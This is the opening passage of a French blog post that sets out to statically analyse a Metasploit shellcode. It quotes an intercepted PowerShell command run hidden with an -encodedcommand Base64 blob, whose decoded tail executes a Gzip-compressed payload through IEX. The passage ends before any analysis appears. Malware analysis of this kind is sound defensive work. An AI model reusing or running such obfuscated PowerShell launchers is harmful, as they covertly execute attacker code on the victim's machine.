Analyse statique d'un shellcode Metasploit

Pour un premier article de blog, j'ai pensé qu'il serait intéressant d'analyser un shellcode Metasploit courant - c'est une excellente occasion d'aborder des sujets tels que l'encodage, le PEB, les shellcodes Windows et les tables d'adresses d'exportation.

Pour commencer

Nous commençons par une ligne de commande interceptée et longue :```powershell "powershell.exe" -nop -w hidden -encodedcommand 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TgBoAEgAOABvAEwAVgBsAFIAbwBNAE8ASgB2AHkARwBHAGYASQBqAHEALwBuAHIAZQBxADYARgBtAGoAVABYAEcATQBlAEkAZQAyAGcAbwBWAGsAMQBEAFgANQB1AHQAawBMAFkALwBOAG0AUwBWAHQAYQBKAHUAcQA0ADYAUABxAEsAZQB6AGoAWQB5AGYAdQBxAEUASQBzADkAMABmAG0ASwB2AFQAawBiAGQAUQBZADcATABnAGgASwBkAFUANAAzADYAYgByAEoARQBtAFEAZABOAFQAWAB6ADkAUABKAG8AZQBGADEAVABuAFMARABxADAATABvADAAdABPAGoATQA5AHoAegBoAHQAdAByAGoAWQBpADQAdgBQAGMAcwBQAGgAUwByADcAUAAzADgAaABIAGgAVQBHAGsAcwBQAC8AaQBDAHUARwByAHYAVgBZAC8AMQBBAEoAeQAyADcAcABEAHkATAA5AG0ASABRADMAMQBDAEwANAAwAHYAeAAwAFQAUwBmAFAAZgBYAG8AMQBMAGYAVgBKAHYAZgBVADUATQBtADQAMABWAEkAcwBhAGIASwB4AEEAOQBPAGYAaQBOADYAdwB0AFYAWgB4AEQARABuADEANQBGAEUAYQBTAGEAZgBsAGcAbgBpAG8AUABtAG4AYwBEADQAUgBHAGUAMwAyAGEASgB0AHUAQgB5AGIAdAAwAC8AUABRAFEAYwBIADEALwBLAFoAcwBMAGQAcgBpADQAZAB6AHEAQgBGAEEAbAB6AGIAVwBNADAAKwA1AFAAVgBGAEgASgB4ADYAMgA0AGcAagAwACsAUQAwADEAMQA0AE4AaABvAC8ANwBPAEsAYQBmAFQAaABDAGoAawBXAGQASQBLADIAVgBqAGIAYgBmAEoAZABZAFQAawBXADAANQAyAHIAUgBnAGIANgBuAGoAYgBtADgAeABDAFEALwAyAHEAYgBxAEwAOQBlAGsARABXAG0AMgAxAFcASQBRAGEAWAA3AFIAeABTAGUAcQBHADkATgBIAGkAWgBUAG8AWgBiAGUAZABQADUAcQBpAGwAUAA4AHYASAB2AHMAWQAvACsAUAB5ADIAOQBqAFgAdABYAHMAdQBBAHcARAB4AHkAVABPAC8ANABmAHoASAB3AGYAKwBkAFMANQByADAALwBRAFYAZQBDAGgAcABlAGUAbAAwAHIARgBkAEUANQA0AGYALwBOAHkAZQAzAHkAOQB6AG4AWAB2ACsANwB2AEYARQBhAFQAeABEADIAbQB2AHkAOQA3AHMAMABZAGMATwA5ADYAdABoAHEAWQBkAEkAdABFAFkAdQBkAEQANABZAGUASwA3AFgAbABSAEkAUQA1AFQASwAyAEQAQQBJAG4ANQBTAGcAVQBQAHAAKwAwAHQANQBqADQAMgBJAFUAcABGAE8AYgBVAGEANQBOAHYAdQBXADUAZwBwAFkAUABXAEwAeQBZAGUARwBQAHYATwB3ADkAZwByAFgARwBZAGoAVwBQAEwAVgBUADEAZABGADUAcAAwAFEAcABxAHUAegBUADQAdAA0AHUAYwB5AEcAawBZAHUASAAxADUAbgBzAFMAdgBqAGwAeQB4AHoAYwBLADMAOABBAHMAWQB2ADkARgBWADIAWABHAGYAYgBJAHMAeQB5AGIALwB0AGYAWQBZAHUANwAzAFkAUgBHAEQAWABWAEoANABGADEAZABPAGgANwBFAFAAbABuAHoAVQA1AEcAYQBhAGkAaABmADAAUwBlAHgANwArAFAAOABZAGcAQgArAFUALwBuAGQAbwBVAC8AQwB5AGUAZQA0AGQAdQBzAHkAZwB6AC8ARQBxADUAdgBKAC8ANQBIAEwAYQBrAHYAbAB3AEgAagBrAG4AKwBGAHIAQgBJAGQAUABJAGMAaQArAGkAaQBOAEMANwBUAGIAQwBBAFQANQB2AHMAcgBpADcAYwBvAGkASwBqAHkAVgBQAG0ARgBqAEgAZgBtAFQAdAB3AHIAeABYAHgAVgBmAGkAKwBJAGEAcwA0AHYAYgBpAFoAOAArAGYAYQBOACsAYQBBAG4ARABQAGoATgAyAGEASQBMAFEAegBqADkAbAAwAG4AVwBFAEMAVwBZAHAAaQAvAFUAdABHAFoAawBKAFEAWQB6AHYANABHAHMAegBBAEwASgB2ADgATgBBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApA